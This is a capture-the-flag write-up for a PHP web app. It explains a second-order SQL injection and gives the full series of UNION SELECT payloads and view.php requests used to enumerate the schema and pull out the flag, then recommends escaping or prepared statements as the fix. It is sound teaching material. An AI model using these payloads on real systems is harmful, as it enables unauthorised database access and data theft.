Vulnerability analysis The inception application lets the user add a new scene to the database (with add.php), if the user specifies also a dream name, and such a dream name does not already exist in the database, such a dream is also added to the database. This is achieved by two INSERT SQL queries, that are not injectable due to the escaping filters. The application lets the user also view the details of a particular scene (with view.php), possibly together with the details of the corresponding dream. This is achieved by two SELECT SQL queries. The first one is not injectable because the id parameter is checked to be an integer number. The second one is injectable by the $dreamname variable, whose value is recovered from the first query. Exploitation We have to exploit a second-order SQL injection, by first uploading the malicious string in the "name" column of the "dreams" table with add.php, and then by requesting it again by view.php. From the website code, we already know the structure of the query performed by view.php, which has two columns, only the second one of which is visible from the returned page. We also know the scheme name, which is "inception". We do not know the name and the structure of the table containing the flag, so we have first to discover this. By using Burp Repeater, we must send a POST request to add.php with the following body: name=scenename&descr=scenedescr&dreamname='+UNION+SELECT+null,table_name+FROM+information_schema.columns+WHERE+table_schema%3d'inception'+LIMIT+0,1+--+&dreamdescr=dreamdescr Then we must send a request to view.php with the following request line: GET /view.php?id=4 HTTP/1.1 We obtain the name of the first table "dreams", which we already knew. So we retry with the second tuple of information_schema.columns: name=scenename&descr=scenedescr&dreamname='+UNION+SELECT+null,table_name+FROM+information_schema.columns+WHERE+table_schema%3d'inception'+LIMIT+1,1+--+&dreamdescr=dreamdescr And: GET /view.php?id=5 HTTP/1.1 We obtain the name of the second table "herecomesthesecret", which allegedly contains the flag. We must discover the column name: name=scenename&descr=scenedescr&dreamname='+UNION+SELECT+null,column_name+FROM+information_schema.columns+WHERE+table_schema%3d'inception'+AND+table_name%3d'herecomesthesecret'+--+&dreamdescr=dreamdescr And: GET /view.php?id=6 HTTP/1.1 We obtain the name of the column, which is "flag". Finally, we steal the flag by sending a POST request to add.php with the following body: name=scenename&descr=scenedescr&dreamname='+UNION+SELECT+null,flag+FROM+herecomesthesecret+--+&dreamdescr=dreamdescr And: GET /view.php?id=7 HTTP/1.1 We obtain the flag, which is SNH{dreams_feel_REAL_while_we_R_in_them}. Remediation The main remediation is securing the second SELECT query performed by view.php, by using mysqli_real_escape_string() on $dreamname, or either prepared statements. In addition, add.php could filter dangerous characters in the name of the dream before inserting it in the database, but this limits the honest behavior. For example users cannot upload a dream called "John Doe's dream".